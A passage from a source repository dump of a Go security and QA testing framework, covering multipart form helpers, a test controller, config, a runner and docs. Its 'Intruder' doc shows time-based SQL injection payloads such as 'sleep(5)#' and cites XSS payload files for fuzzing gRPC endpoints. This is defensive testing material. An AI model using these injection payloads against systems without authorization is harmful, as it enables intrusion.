form 42 | fields := structFieldsMap(it) 43 | for key, val := range fields { 44 | switch val.MultipartType { 45 | case "field": 46 | if !val.Optional || !val.IsZero { 47 | writer.WriteField(key, val.Value) 48 | } 49 | case "custom": 50 | if val.Ref != nil { 51 | err := val.Ref.WriteField(writer) 52 | if err != nil { 53 | return nil, "", errors.Wrap(err, "Failed during custom multipart field write.") 54 | } 55 | } 56 | } 57 | } 58 | 59 | err := writer.Close() 60 | if err != nil { 61 | return nil, "", errors.Wrap(err, "Failed to write multipart/form http.") 62 | } 63 | 64 | return body, writer.FormDataContentType(), nil 65 | } 66 | 67 | /* 68 | Helper method to convert type struct data into FieldProperties type 69 | */ 70 | func structFieldsMap(it interface{}) map[string]FieldProperties { 71 | fmap := make(map[string]FieldProperties) 72 | val := reflect.ValueOf(it).Elem() 73 | multipartFieldWriterType := reflect.TypeOf((*MultipartFieldWriter)(nil)).Elem() 74 | 75 | for i := 0; i < val.NumField(); i++ { 76 | typeField := val.Type().Field(i) 77 | valField := val.Field(i) 78 | fp := FieldProperties{} 79 | 80 | // property: MultipartType 81 | fp.MultipartType, _ = typeField.Tag.Lookup(multipartTag) 82 | 83 | // property: Optional 84 | optionalTag, _ := typeField.Tag.Lookup(optionalTag) 85 | fp.Optional = optionalTag == "true" 86 | 87 | // property: IsZero 88 | // property: Value 89 | if fp.MultipartType == "field" { 90 | fp.IsZero = isZero(valField) 91 | fp.Value = fmt.Sprint(valField.Interface()) 92 | } 93 | 94 | // property: Ref 95 | if typeField.Type.Implements(multipartFieldWriterType) && !valField.IsNil() { 96 | fp.Ref = valField.Interface().(MultipartFieldWriter) 97 | } 98 | 99 | itemKey := typeField.Name 100 | jsonKey, jsonTagAvailable := typeField.Tag.Lookup(jsonTag) 101 | if jsonTagAvailable { 102 | itemKey = jsonKey 103 | } 104 | fmap[itemKey] = fp 105 | } 106 | return fmap 107 | } 108 | 109 | // Modified version of https://stackoverflow.com/a/23555352 110 | // This version avoids recursion by not supporting Array and Struct. 111 | // If is a struct or array, this will panic. 112 | func isZero(v reflect.Value) bool { 113 | switch v.Kind() { 114 | case reflect.Func, reflect.Map, reflect.Slice: 115 | return v.IsNil() 116 | case reflect.Array, reflect.Struct: 117 | panic("isZero: Array and Struct is not supported!") 118 | default: 119 | // concrete types and interface 120 | z := reflect.Zero(v.Type()) 121 | return v.Interface() == z.Interface() 122 | } 123 | } 124 | -------------------------------------------------------------------------------- /docs/intruder.md: -------------------------------------------------------------------------------- 1 | # Intruder 2 | 3 | The Intruder, similar to Burpsuite's Intruder function, feeds malicious payloads into all parameters of a grpc endpoint. 4 | 5 | Relevant files: 6 | - intruder 7 | - intruder.go 8 | - testdata_helper.go 9 | 10 | ## How to Use 11 | 12 | Pass the following parameters into `RunIntruderTests()`: 13 | - t (the current test case) 14 | - context 15 | - the testdeck.TestCase 16 | - grpc client of the service 17 | - the rpc method to test 18 | - a valid, sample request (this will act as the base for the intruder) 19 | - the json data set (explained below) 20 | 21 | ``` 22 | var sampleRequest = &pb.SayRequest{MessageId: "test", MessageBody: "test"} 23 | 24 | func Test_Say_SQLiIntruderTest(t *testing.T) { 25 | var client interface{} 26 | 27 | var testDataSet InputValidationTestData 28 | 29 | tc := testdeck.TestCase{} 30 | 31 | // Arrange 32 | test.Arrange = func(t *testdeck.TD) { 33 | // set up your client here 34 | 35 | // read in the fuzz test data from a json file 36 | testDataSet, _ = ParseInputValidationTestDataFromJson("../payloads/sql_injection/testdata.json") 37 | 38 | // do other set up steps here 39 | } 40 | 41 | // fuzz using the sample request, fuzzing function, and specified json data file 42 | RunIntruderTests(t, context.TODO(), tc, client, "Say", sampleRequest, testDataSet) 43 | } 44 | ``` 45 | 46 | The output will look similar to below: 47 | 48 | ``` 49 | === RUN Test_Say_SQLiIntruderTest/MessageBody 50 | Test_Say_SQLiIntruderTest/MessageBody: harness.go:115: String Value: # from wapiti 51 | Test_Say_SQLiIntruderTest/MessageBody: harness.go:115: String Value: sleep(5)# 52 | Test_Say_SQLiIntruderTest/MessageBody: harness.go:115: String Value: 1 or sleep(5)# 53 | ... 54 | --- PASS: Test_Say_SQLiIntruderTest (7.94s) 55 | --- PASS: Test_Say_SQLiIntruderTest/MessageBody (2.19s) 56 | PASS 57 | ``` 58 | 59 | ## Test Data Sets 60 | 61 | Sample data sets can be found in [/payloads/xxx/testdata.json](https://github.com/mercari/testdeck/payloads/) where xxx is the payload type. All payload txt files are copied from [swisskyrepo/PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings). 62 | 63 | Types of data sets: 64 | 65 | - Input Validation: The test case will fail if the expected error message was not returned. In addition to string input, int, float, and boolean are also supported. 66 | 67 | ``` 68 | "string": [ 69 | { 70 | "files": [ 71 | "../payloads/input_validation/strings.txt" 72 | ], 73 | "type": "input validation", 74 | "expected": { 75 | "errorMessage": "" 76 | } 77 | } 78 | ], 79 | ``` 80 | 81 | - SQL Injection: Since it is difficult to test for SQLi automatically, only timing will be used. All payloads attempt to sleep more than 1s so the test will fail if the response time was greater. 82 | 83 | ``` 84 | "string": [ 85 | { 86 | "files": [ 87 | "../payloads/sql_injection/Generic_TimeBased.txt" 88 | ], 89 | "type": "sql injection", 90 | "expected": { 91 | "timeDelay": 1 92 | } 93 | } 94 | ] 95 | ``` 96 | 97 | - XSS: Only reflected XSS can be tested at the moment. By leaving the error message blank, the test will fail only if the malicious payload was found anywhere within the response. 98 | 99 | ``` 100 | "string": [ 101 | { 102 | "files": [ 103 | "../payloads/xss/IntrudersXSS.txt", 104 | "../payloads/xss/XSS_Polyglots.txt", 105 | "../payloads/xss/XSSDetection.txt" 106 | ], 107 | "type": "reflected xss", 108 | "expected": { 109 | "errorMessage": "" 110 | } 111 | } 112 | ] 113 | ``` 114 | 115 | ## Limitations 116 | 117 | Currently, the intruder can only inject values into string, int, float, and boolean parameters in the request (i.e. it cannot access string/int/float/bool that are inside structs). We are hoping to support this functionality in the future. -------------------------------------------------------------------------------- /service/controller/controller.go: -------------------------------------------------------------------------------- 1 | package controller 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | "testing" 7 | 8 | "github.com/mercari/testdeck/constants" 9 | 10 | "github.com/mercari/testdeck/runner" 11 | "github.com/mercari/testdeck/service/config" 12 | "github.com/mercari/testdeck/service/db" 13 | ) 14 | 15 | /* 16 | controller.go: This contains methods for controlling the test run (Run methods, test runner, etc.) 17 | */ 18 | 19 | // Interface for the controller of the test run 20 | type Controller interface { 21 | RunLocal() int 22 | RunAll() string 23 | Run(name string) (constants.Statistics, []int, bool) // Note: This is currently not being used because running individual tests by test name is not supported yet 24 | Runner() runner.Runner 25 | SetPrintToStdout(bool) 26 | } 27 | 28 | // Implements the interface above 29 | type controllerImpl struct { 30 | m *testing.M 31 | runner runner.Runner 32 | g *db.Db 33 | env *config.Env 34 | } 35 | 36 | // Creates a new test controller 37 | func New(m *testing.M, g *db.Db, env *config.Env) Controller { 38 | runner := runner.Instance(m) 39 | // disable stdout for test output since we are running as a gRPC microservice 40 | runner.PrintToStdout(false) 41 | controller := &controllerImpl{ 42 | m: m, 43 | runner: runner, 44 | g: g, 45 | env: env, 46 | } 47 | runner.SetEventLogger(controller) 48 | return controller 49 | } 50 | 51 | // Creates a test runner 52 | func (c *controllerImpl) Runner() runner.Runner { 53 | return c.runner 54 | } 55 | 56 | // Set test run mode as local 57 | func (c *controllerImpl) RunLocal() int { 58 | return c.m.Run() 59 | } 60 | 61 | // Logs an event 62 | func (c *controllerImpl) Log(message string) { 63 | // FIXME stdout is captured by the test log 64 | log.Printf("Runner Event: %s", message) 65 | } 66 | 67 | // Set output to stdout 68 | func (c *controllerImpl) SetPrintToStdout(printToStdout bool) { 69 | c.runner.PrintToStdout(printToStdout) 70 | } 71 | 72 | // ----- 73 | // Run Methods 74 | // ----- 75 | 76 | // Runs a set of tests matching the regex pattern 77 | func (c *controllerImpl) runSet(pattern string) (IDs []int, savedToDb bool, stats []constants.Statistics) { 78 | var err error 79 | var jobID int 80 | env, _ := config.ReadFromEnv() 81 | 82 | // If running as a job and a DB URL was declared, enable save to DB functionality 83 | saveToDatabase := config.RunAs(c.env) == config.RunAsJob && env.DbUrl != "" 84 | if saveToDatabase { 85 | jobID, err = c.g.SaveJobStart() 86 | if err != nil { 87 | // TODO 88 | log.Printf("Warning: failed to save results to database: %v", err) 89 | } else { 90 | log.Printf("Job ID: %d", jobID) 91 | } 92 | } 93 | 94 | // Run all tests matching the pattern 95 | c.runner.Match(pattern) 96 | c.runner.Run() 97 | 98 | // Save statistics to DB 99 | stats = c.runner.Statistics() 100 | c.runner.ClearStatistics() 101 | if len(stats) > 0 && saveToDatabase { 102 | var err error 103 | IDs, err = c.g.Save(jobID, stats) 104 | if err != nil { 105 | log.Printf( 106 | "Warning: failed to save results to database: %v", err) 107 | } else { 108 | log.Printf("Test IDs: %v", IDs) 109 | savedToDb = true 110 | } 111 | } 112 | 113 | return 114 | } 115 | 116 | // Run all tests 117 | func (c *controllerImpl) RunAll() string { 118 | _, _, stats := c.runSet(".*") 119 | 120 | for _, stat := range stats { 121 | if stat.Failed { 122 | return constants.ResultFail 123 | } 124 | } 125 | return constants.ResultPass 126 | } 127 | 128 | // Run an individual test case by name 129 | // Note: This method isn't used anywhere right now because the feature to run individual tests by name is not complete yet 130 | func (c *controllerImpl) Run(name string) (constants.Statistics, []int, bool) { 131 | IDs, savedToDb, stats := c.runSet(fmt.Sprintf("^%s$", name)) 132 | 133 | if len(stats) == 0 { 134 | // TODO: Add logic for when no matching test cases are found 135 | return constants.Statistics{}, []int{}, false 136 | } 137 | 138 | return stats[0], IDs, savedToDb 139 | } 140 | -------------------------------------------------------------------------------- /service/config/config.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | import ( 4 | "fmt" 5 | "github.com/kelseyhightower/envconfig" 6 | "github.com/pkg/errors" 7 | "os" 8 | ) 9 | 10 | /* 11 | config.go: Configurations for the GRPC microservice to stand up for testing 12 | */ 13 | 14 | const ( 15 | envDevelopment = "development" 16 | RunAsLocal = "local" // Running in local will not save test results to the DB 17 | RunAsJob = "job" // Set run_as ENV to "job" if you want to save test results to the DB 18 | ) 19 | 20 | var ( 21 | KubernetesServiceHostKey = "KUBERNETES_SERVICE_HOST" 22 | TelepresenceRootKey = "TELEPRESENCE_ROOT" 23 | ) 24 | 25 | // Env stores configuration settings extract from environmental variables 26 | // by using https://github.com/kelseyhightower/envconfig 27 | // 28 | // The practice getting from environmental variables comes from https://12factor.net. 29 | type Env struct { 30 | // Env is environment where application is running. This value is used to 31 | // annotate datadog metrics or sentry error reporting. The value should always 32 | // be "development" 33 | Env string `envconfig:"ENV" default:"development"` 34 | 35 | // GCPProjectID is you service GCP project ID 36 | GCPProjectID string `envconfig:"GCP_PROJECT_ID"` 37 | 38 | // Whether or not to print test realtime output to the event log 39 | PrintOutputToEventLog bool `envconfig:"PRINT_OUTPUT_TO_EVENT_LOG" default:"false"` 40 | 41 | // RunAs is an override to force testdeck to run as local tests or gRPC service 42 | // If RunAs is set as "service" then testdeck-service will always run as a gRPC service. 43 | // If RunAs is set as "local" then testdeck-service will always run as a normal local test. 44 | // For other values testdeck-service will fallback to its automatic sensing logic: 45 | // - kubernetes with no teleprecense: gRPC service 46 | // - otherwise: local 47 | RunAs string `envconfig:"RUN_AS"` 48 | 49 | // The URL of the DB to save test results to. If not declared, tests will still run but results can only be viewed through Kubernetes pod logs 50 | DbUrl string `envconfig:"DB_URL"` 51 | } 52 | 53 | func (e *Env) validate() error { 54 | checks := []struct { 55 | bad bool 56 | errMsg string 57 | }{ 58 | { 59 | e.Env != envDevelopment, 60 | fmt.Sprintf("invalid env is specified: %q", e.Env), 61 | }, 62 | 63 | // Add your own validation here 64 | } 65 | 66 | for _, check := range checks { 67 | if check.bad { 68 | return errors.Errorf(check.errMsg) 69 | } 70 | } 71 | 72 | return nil 73 | } 74 | 75 | // ReadFromEnv reads configuration from environmental variables defined by Env struct 76 | func ReadFromEnv() (*Env, error) { 77 | var env Env 78 | if err := envconfig.Process("", &env); err != nil { 79 | return nil, errors.Wrap(err, "failed to process envconfig") 80 | } 81 | 82 | if err := env.validate(); err != nil { 83 | return nil, errors.Wrap(err, "validation failed") 84 | } 85 | 86 | return &env, nil 87 | } 88 | 89 | // Detects if test service is running in a Kubernetes pod 90 | func RunningInKubernetes() bool { 91 | _, set := os.LookupEnv(KubernetesServiceHostKey) 92 | return set 93 | } 94 | 95 | // Detects if test service is running in Telepresence 96 | func RunningInTelepresence() bool { 97 | _, set := os.LookupEnv(TelepresenceRootKey) 98 | return set 99 | } 100 | 101 | // RunAs returns a string containing the type of environment the tests should run as. 102 | // 103 | // - service: run as a gRPC service pod (save results to database) 104 | // - local: run using the standard Go runner (do not save results to database) 105 | // - job: run as a k8 job (run-once, save results to database) 106 | // 107 | func RunAs(env *Env) string { 108 | if env.RunAs != "" { 109 | if env.RunAs == RunAsJob { 110 | return RunAsJob 111 | } 112 | 113 | // TODO emit warning if not actually set to "local" 114 | return RunAsLocal 115 | } 116 | 117 | // auto-detect environment tests are being run in 118 | if RunningInKubernetes() && !RunningInTelepresence() { 119 | // running in Kubernetes, not using Telepresence = regular test run job 120 | return RunAsJob 121 | } 122 | 123 | // default to local 124 | return RunAsLocal 125 | } 126 | -------------------------------------------------------------------------------- /docs/sec_testing_guide.md: -------------------------------------------------------------------------------- 1 | # Security Testing Guide 2 | 3 | ## Why Should We Use Testdeck for Automating Security Tests? 4 | 5 | ![QA vs Security Testing](images/sec.png?raw=true) 6 | 7 | If you think about it, QA testing and Security testing are actually quite similar, like two sides of the same coin. 8 | 9 | QA tests from the perspective of an average or slightly curious user. Therefore, they will test "Happy Path" cases, input validation (edge cases and strange input), common/accidental error cases, and business logic. 10 | 11 | Security tests from the perspective of a malicious user. Therefore, they will test input validation (malicious payloads and fuzz testing), authentication and authorization, intentional/exploitative error cases, and business logic. 12 | 13 | There is a natural overlap in their testing so it makes sense to use the same tool to automate both types of testing. 14 | 15 | ## Types of Test Cases 16 | 17 | ### Input Validation 18 | 19 | For each endpoint and input parameter, you should test the following: 20 | 21 | #### Boundary input values 22 | - Invalid input values (null values, non-numeric characters, invalid string format, strange ASCII characters, 0, negative numbers, decimal/fraction numbers, etc.) 23 | - Extreme input values (a string of 40 million characters, infinity number, etc.) 24 | - Malicious strings often used in SQL Injection, XSS, Command Injection, and other common input-related attacks 25 | 26 | #### Authentication and Authorization 27 | These are the tests that verify user permission and token logic. 28 | 29 | ##### Tokens 30 | For each endpoint, you may want to test the following: 31 | 32 | - Request with an authorized token 33 | - Request with no token 34 | - Request with an invalid token 35 | - Request with an expired token 36 | - Request with incorrect user type (user lacking authorization) 37 | - Request with incorrect token scope (attempting to execute an unauthorized action) 38 | - Request with the token of another user (session hijacking) 39 | 40 | #### Intentional and Exploitative Error Cases 41 | 42 | These are tests that verify proper error handling. The test cases will be different depending on each service but below are some ideas of what to test for: 43 | 44 | - Verify that error messages do not accidentally reveal information about the system that can potentially be useful to attackers 45 | - e.g. A login error should return Incorrect email or password instead of specifying which field was incorrect because doing so helps the attacker brute force into the account 46 | - e.g. Trying to get a user profile with a non-existent user ID should return a generic error instead of specifying that the user does not exist because doing so helps the attack enumerate a list of valid user IDs 47 | - Verify that extreme input values and other unexpected client behavior is properly handled and does not cause internal server errors, high memory usage, high response latency, or other undesirable behavior that can impact the rest of the traffic. 48 | 49 | #### Configuration Flaws 50 | 51 | These are tests that check for malformed requests and malicious header settings. These apply only to HTTP requests. Below are some ideas of what to test for: 52 | 53 | - Verify that only GET, POST, HEAD, and OPTIONS methods are accepted 54 | - Verify that the correct response type is returned regardless of the value specified in the request's Accept header 55 | - Verify that response Content-Type header is set to an accepted value 56 | - Verify that software version information is not disclosed anywhere in the response body or headers 57 | - Verify that Strict-Transport-Security header is enforced 58 | - Verify that if Origin header is changed, the response's Access-Control-Allow-Origin header is also changed 59 | - Verify that the Authorization header is required 60 | 61 | #### Business Logic 62 | These are tests that verify for intended business logic and behavior. These test cases are closer to E2E error cases because they verify the user flow and error handling of strange user behavior. Below are some ideas of what to test: 63 | 64 | - Can you do the steps of the user flow in a different order than intended? (e.g. Can you give your buyer a rating before you even shipped the item?) 65 | - Can you skip a step in the user flow? (e.g. Can you purchase an item without registering a payment method?) -------------------------------------------------------------------------------- /exec_test.go: -------------------------------------------------------------------------------- 1 | package testdeck 2 | 3 | import ( 4 | "fmt" 5 | "os/exec" 6 | "strings" 7 | "testing" 8 | ) 9 | 10 | // Test against the real testing.T by executing in sub commands. 11 | 12 | const examplePackage = "github.com/mercari/testdeck/demo" 13 | const goBinary = "go" 14 | 15 | var defaultArgs = []string{"test", "-timeout", "30s", "-v", examplePackage, "-run"} 16 | 17 | // Execute a "go test" on an example testcase and return the output. 18 | // We have to do this because the testing.T package doesn't export a lot of 19 | // methods required to use it directly. 20 | func execute(testName string) ([]byte, error) { 21 | reTestName := fmt.Sprintf("^(%s)$", testName) 22 | args := append(defaultArgs, reTestName) 23 | return exec.Command(goBinary, args...).Output() 24 | } 25 | 26 | func Test_TestWithTestingT(t *testing.T) { 27 | cases := map[string]struct { 28 | testName string 29 | wantStrings []string // strings that should be in the expected output 30 | dontWantStrings []string // strings that should NOT be in the expected output 31 | }{ 32 | "BasicExample_ActError": { 33 | testName: "Test_BasicExample_ActError", 34 | wantStrings: []string{ 35 | "--- FAIL: Test_BasicExample_ActError", 36 | "basic act example error", 37 | }, 38 | }, 39 | "BasicExample_ActFatal": { 40 | testName: "Test_BasicExample_ActFatal", 41 | wantStrings: []string{ 42 | "--- FAIL: Test_BasicExample_ActFatal", 43 | "basic act example fatal", 44 | }, 45 | }, 46 | "BasicExample_AssertErrorAndFatal": { 47 | testName: "Test_BasicExample_AssertErrorAndFatal", 48 | wantStrings: []string{ 49 | "--- FAIL: Test_BasicExample_AssertErrorAndFatal", 50 | "basic assert example error", 51 | "basic assert example fatal", 52 | }, 53 | }, 54 | "BasicExample_ArrangeMultiFatal": { 55 | testName: "Test_BasicExample_ArrangeMultiFatal", 56 | wantStrings: []string{ 57 | "--- FAIL: Test_BasicExample_ArrangeMultiFatal", 58 | "basic arrange example fatal 1", 59 | }, 60 | dontWantStrings: []string{ 61 | "basic arrange example fatal 2", 62 | }, 63 | }, 64 | "BasicExample_ArrangeAfterMultiFatal": { 65 | testName: "Test_BasicExample_ArrangeAfterMultiFatal", 66 | wantStrings: []string{ 67 | "--- FAIL: Test_BasicExample_ArrangeAfterMultiFatal", 68 | "basic arrange example fatal 1", 69 | "basic after example fatal 2", 70 | }, 71 | }, 72 | "BasicExample_ArrangeFatalAndDeferred": { 73 | testName: "Test_BasicExample_ArrangeFatalAndDeferred", 74 | wantStrings: []string{ 75 | "--- FAIL: Test_BasicExample_ArrangeFatalAndDeferred", 76 | "basic arrange example fatal 1", 77 | "basic deferred output", 78 | }, 79 | dontWantStrings: []string{ 80 | "basic arrange example fatal 2", 81 | }, 82 | }, 83 | "ActEmptyNoError": { 84 | testName: "Test_ActEmptyNoError", 85 | wantStrings: []string{ 86 | "PASS: Test_ActEmptyNoError", 87 | }, 88 | }, 89 | "ArrangeSkipNow_ShouldbeMarkedSkip": { 90 | testName: "Test_ArrangeSkipNow_ShouldbeMarkedSkip", 91 | wantStrings: []string{ 92 | "SKIP: Test_ArrangeSkipNow_ShouldbeMarkedSkip", 93 | "skip now defer message 1", 94 | }, 95 | dontWantStrings: []string{ 96 | "skip now defer message 2", 97 | "skip now act error", 98 | "skip now assert error", 99 | "skip now after message", 100 | }, 101 | }, 102 | "ActSkipNow_ShouldbeMarkedSkipAndExecuteAfter": { 103 | testName: "Test_ActSkipNow_ShouldbeMarkedSkipAndExecuteAfter", 104 | wantStrings: []string{ 105 | "SKIP: Test_ActSkipNow_ShouldbeMarkedSkipAndExecuteAfter", 106 | "skip now after message", 107 | "skip now defer message", 108 | }, 109 | dontWantStrings: []string{ 110 | "skip now act error", 111 | "skip now assert error", 112 | }, 113 | }, 114 | } 115 | 116 | for name, tc := range cases { 117 | t.Run(name, func(t *testing.T) { 118 | out, _ := execute(tc.testName) 119 | sout := string(out) 120 | 121 | for _, want := range tc.wantStrings { 122 | if !strings.Contains(sout, want) { 123 | t.Errorf("Want output substring: %s\n", want) 124 | } 125 | } 126 | 127 | for _, dontWant := range tc.dontWantStrings { 128 | if strings.Contains(sout, dontWant) { 129 | t.Errorf("Don't want output substring: %s\n", dontWant) 130 | } 131 | } 132 | t.Logf("\nCommand Test Output:\n%s\n", sout) 133 | }) 134 | } 135 | } 136 | -------------------------------------------------------------------------------- /runner/deps.go: -------------------------------------------------------------------------------- 1 | // Copyright 2016 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | // Package testdeps provides access to dependencies needed by test execution. 6 | // 7 | // This package is imported by the generated main package, which passes 8 | // TestDeps into testing.Main. This allows tests to use packages at run time 9 | // without making those packages direct dependencies of package testing. 10 | // Direct dependencies of package testing are harder to write tests for. 11 | package runner 12 | 13 | import ( 14 | "bufio" 15 | "fmt" 16 | "io" 17 | "reflect" 18 | "regexp" 19 | "runtime/pprof" 20 | "strings" 21 | "sync" 22 | "time" 23 | ) 24 | 25 | // TestDeps is an implementation of the testing.testDeps interface, 26 | // suitable for passing to testing.MainStart. 27 | type TestDeps struct{} 28 | 29 | // corpusEntry is an alias to the same type as internal/fuzz.CorpusEntry. 30 | // We use a type alias because we don't want to export this type, and we can't 31 | // import internal/fuzz from testing. 32 | type corpusEntry = struct { 33 | Parent string 34 | Path string 35 | Data []byte 36 | Values []any 37 | Generation int 38 | IsSeed bool 39 | } 40 | 41 | var matchPat string 42 | var matchRe *regexp.Regexp 43 | 44 | func (TestDeps) MatchString(pat, str string) (result bool, err error) { 45 | if matchRe == nil || matchPat != pat { 46 | matchPat = pat 47 | matchRe, err = regexp.Compile(matchPat) 48 | if err != nil { 49 | return 50 | } 51 | } 52 | return matchRe.MatchString(str), nil 53 | } 54 | 55 | func (TestDeps) StartCPUProfile(w io.Writer) error { 56 | return pprof.StartCPUProfile(w) 57 | } 58 | 59 | func (TestDeps) StopCPUProfile() { 60 | pprof.StopCPUProfile() 61 | } 62 | 63 | func (TestDeps) WriteProfileTo(name string, w io.Writer, debug int) error { 64 | return pprof.Lookup(name).WriteTo(w, debug) 65 | } 66 | 67 | // ImportPath is the import path of the testing binary, set by the generated main function. 68 | var ImportPath string 69 | 70 | func (TestDeps) ImportPath() string { 71 | return ImportPath 72 | } 73 | 74 | // testLog implements testlog.Interface, logging actions by package os. 75 | type testLog struct { 76 | mu sync.Mutex 77 | w *bufio.Writer 78 | set bool 79 | } 80 | 81 | func (l *testLog) Getenv(key string) { 82 | l.add("getenv", key) 83 | } 84 | 85 | func (l *testLog) Open(name string) { 86 | l.add("open", name) 87 | } 88 | 89 | func (l *testLog) Stat(name string) { 90 | l.add("stat", name) 91 | } 92 | 93 | func (l *testLog) Chdir(name string) { 94 | l.add("chdir", name) 95 | } 96 | 97 | // add adds the (op, name) pair to the test log. 98 | func (l *testLog) add(op, name string) { 99 | if strings.Contains(name, "\n") || name == "" { 100 | return 101 | } 102 | 103 | l.mu.Lock() 104 | defer l.mu.Unlock() 105 | if l.w == nil { 106 | return 107 | } 108 | l.w.WriteString(op) 109 | l.w.WriteByte(' ') 110 | l.w.WriteString(name) 111 | l.w.WriteByte('\n') 112 | } 113 | 114 | var log testLog 115 | 116 | func (TestDeps) StartTestLog(w io.Writer) { 117 | log.mu.Lock() 118 | log.w = bufio.NewWriter(w) 119 | if !log.set { 120 | // Tests that define TestMain and then run m.Run multiple times 121 | // will call StartTestLog/StopTestLog multiple times. 122 | // Checking log.set avoids calling testlog.SetLogger multiple times 123 | // (which will panic) and also avoids writing the header multiple times. 124 | log.set = true 125 | SetLogger(&log) 126 | log.w.WriteString("# test log\n") // known to cmd/go/internal/test/test.go 127 | } 128 | log.mu.Unlock() 129 | } 130 | 131 | func (TestDeps) StopTestLog() error { 132 | log.mu.Lock() 133 | defer log.mu.Unlock() 134 | err := log.w.Flush() 135 | log.w = nil 136 | return err 137 | } 138 | 139 | // SetPanicOnExit0 tells the os package whether to panic on os.Exit(0). 140 | func (TestDeps) SetPanicOnExit0(v bool) { 141 | SetPanicOnExit0(v) 142 | } 143 | 144 | func (TestDeps) CheckCorpus(vals []any, types []reflect.Type) error { 145 | if len(vals) != len(types) { 146 | return fmt.Errorf("wrong number of values in corpus entry: %d, want %d", len(vals), len(types)) 147 | } 148 | valsT := make([]reflect.Type, len(vals)) 149 | for valsI, v := range vals { 150 | valsT[valsI] = reflect.TypeOf(v) 151 | } 152 | for i := range types { 153 | if valsT[i] != types[i] { 154 | return fmt.Errorf("mismatched types in corpus entry: %v, want %v", valsT, types) 155 | } 156 | } 157 | return nil 158 | } 159 | 160 | func (TestDeps) CoordinateFuzzing(time.Duration, int64, time.Duration, int64, int, []corpusEntry, []reflect.Type, string, string) error { 161 | return nil 162 | } 163 | 164 | func (TestDeps) ReadCorpus(dir string, types []reflect.Type) ([]corpusEntry, error) { 165 | return nil, nil 166 | } 167 | 168 | func (TestDeps) ResetCoverage() {} 169 | 170 | func (TestDeps) RunFuzzWorker(func(corpusEntry) error) error { 171 | return nil 172 | } 173 | 174 | func (TestDeps) SnapshotCoverage() {} 175 | -------------------------------------------------------------------------------- /httputils/multipart_form_test.go: -------------------------------------------------------------------------------- 1 | package httputils 2 | 3 | import ( 4 | "fmt" 5 | "mime" 6 | "mime/multipart" 7 | "testing" 8 | 9 | "github.com/stretchr/testify/assert" 10 | ) 11 | 12 | type DemoStruct struct { 13 | Key string 14 | Value string 15 | } 16 | 17 | func (d *DemoStruct) WriteField(writer *multipart.Writer) error { 18 | writer.WriteField(d.Key, d.Value) 19 | return nil 20 | } 21 | 22 | type DemoStringer string 23 | 24 | func (d DemoStringer) String() string { 25 | return string(d) 26 | } 27 | 28 | func Test_Multipart(t *testing.T) { 29 | in := struct { 30 | ID string `multipart:"field"` 31 | StringParam string `json:"string_param" multipart:"field"` 32 | IntParam int `json:"int_param" multipart:"field"` 33 | UInt64Param uint64 `json:"uint64_param" multipart:"field"` 34 | Float64Param float64 `json:"float64_param" multipart:"field"` 35 | StringerParam fmt.Stringer `json:"stringer_param" multipart:"field" optional:"false"` 36 | StructParam *DemoStruct `json:"-" multipart:"custom"` 37 | }{ 38 | ID: "id_here", 39 | StringParam: "string param here", 40 | IntParam: -1, 41 | UInt64Param: 42, 42 | Float64Param: 3.14, 43 | StringerParam: DemoStringer("demo stringer value"), 44 | StructParam: &DemoStruct{ 45 | Key: "demo_struct_key", 46 | Value: "demo struct value", 47 | }, 48 | } 49 | 50 | body, contentType, err := CreateMultipartBody(&in) 51 | if err != nil { 52 | t.Fatalf("err should be nil. got: %v", err) 53 | } 54 | if body == nil { 55 | t.Errorf("http should not be nil") 56 | } 57 | if contentType == "" { 58 | t.Errorf("content type should be set") 59 | } 60 | 61 | _, params, _ := mime.ParseMediaType(contentType) 62 | reader := multipart.NewReader(body, params["boundary"]) 63 | maxMemory := int64(1024 * 1024) 64 | form, err := reader.ReadForm(maxMemory) 65 | if err != nil { 66 | t.Fatalf("Failed to read form. %v", err) 67 | } 68 | 69 | assert.Equal(t, in.ID, form.Value["ID"][0]) 70 | assert.Equal(t, in.StringParam, form.Value["string_param"][0]) 71 | assert.Equal(t, fmt.Sprint(in.IntParam), form.Value["int_param"][0]) 72 | assert.Equal(t, fmt.Sprint(in.UInt64Param), form.Value["uint64_param"][0]) 73 | assert.Equal(t, fmt.Sprint(in.Float64Param), form.Value["float64_param"][0]) 74 | assert.Equal(t, in.StringerParam.String(), form.Value["stringer_param"][0]) 75 | assert.Equal(t, in.StructParam.Value, form.Value[in.StructParam.Key][0]) 76 | } 77 | 78 | func Test_MultipartOptional(t *testing.T) { 79 | in := struct { 80 | StringParam string `json:"string_param" multipart:"field"` 81 | OptionalSetParam string `json:"set_param" multipart:"field" optional:"true"` 82 | OptionalUnsetParam string `json:"unset_param" multipart:"field" optional:"true"` 83 | }{ 84 | StringParam: "string param here", 85 | OptionalSetParam: "set parameter value", 86 | } 87 | 88 | body, contentType, err := CreateMultipartBody(&in) 89 | if err != nil { 90 | t.Fatalf("err should be nil. got: %v", err) 91 | } 92 | if body == nil { 93 | t.Errorf("http should not be nil") 94 | } 95 | if contentType == "" { 96 | t.Errorf("content type should be set") 97 | } 98 | 99 | _, params, _ := mime.ParseMediaType(contentType) 100 | reader := multipart.NewReader(body, params["boundary"]) 101 | maxMemory := int64(1024 * 1024) 102 | form, err := reader.ReadForm(maxMemory) 103 | if err != nil { 104 | t.Fatalf("Failed to read form. %v", err) 105 | } 106 | 107 | assert.Equal(t, in.StringParam, form.Value["string_param"][0]) 108 | assert.Equal(t, in.OptionalSetParam, form.Value["set_param"][0]) 109 | val, ok := form.Value["unset_param"] 110 | if ok { 111 | t.Errorf("unset_param was set when it should not be, got value: %v", val) 112 | } 113 | } 114 | 115 | func Test_MultipartMultipleCustomFields(t *testing.T) { 116 | in := struct { 117 | StructParamA *DemoStruct `multipart:"custom"` 118 | StructParamB *DemoStruct `multipart:"custom"` 119 | StructParamNil *DemoStruct `json:"nil_struct_key" multipart:"custom"` 120 | }{ 121 | StructParamA: &DemoStruct{ 122 | Key: "a_struct_key", 123 | Value: "A struct value", 124 | }, 125 | StructParamB: &DemoStruct{ 126 | Key: "b_struct_key", 127 | Value: "B struct value", 128 | }, 129 | } 130 | 131 | body, contentType, err := CreateMultipartBody(&in) 132 | if err != nil { 133 | t.Fatalf("err should be nil. got: %v", err) 134 | } 135 | if body == nil { 136 | t.Errorf("http should not be nil") 137 | } 138 | if contentType == "" { 139 | t.Errorf("content type 